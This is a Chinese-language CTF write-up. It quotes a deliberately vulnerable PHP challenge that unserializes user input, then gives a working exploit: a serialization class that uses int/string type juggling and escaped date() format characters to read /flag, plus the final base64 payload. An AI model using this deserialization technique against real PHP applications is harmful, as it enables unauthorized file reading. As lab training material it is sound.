打开题目在线环境,可以看到一下PHP代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}
unserialize(base64_decode($_GET['code']));
审计代码可得** __wakeup()**函数内满足以下条件即可获得flag:
1.不能用数组绕过
2.a不能强等于b且a的MD5强等于b的MD5,a的sha1强等于b的sha1.
补充:
date()函数会将特定的字母转化为特定的时间表达格式;uniqid()函数用于生成唯一随机字符串(uuid),不传入参数时,其返回一个基于当前时间微秒数的唯一字符串,如果指定了前缀参数,则生成的字符串将以该前缀开头。
当进入第二个if块之后,使用date()函数对file的内容进行处理;然后随机生成一个uuid作为文件名,将$content写入这个文件;最后对文件内容进行正则替换,将文件中所有连续的空白符、换行符替换为空字符串。
根据这个思路构造(看了wp之后),代码如下:
class date
{
public $a = 1;
public $b = '1';
public $file = "/\\f\l\a\g";
}
$a = new date;
echo base64_encode(serialize($a));
运行之后就能得到payload:
Tzo0OiJkYXRlIjozOntzOjE6ImEiO2k6MTtzOjE6ImIiO3M6MToiMSI7czo0OiJmaWxlIjtzOjk6Ii9cZlxsXGFcZyI7fQ==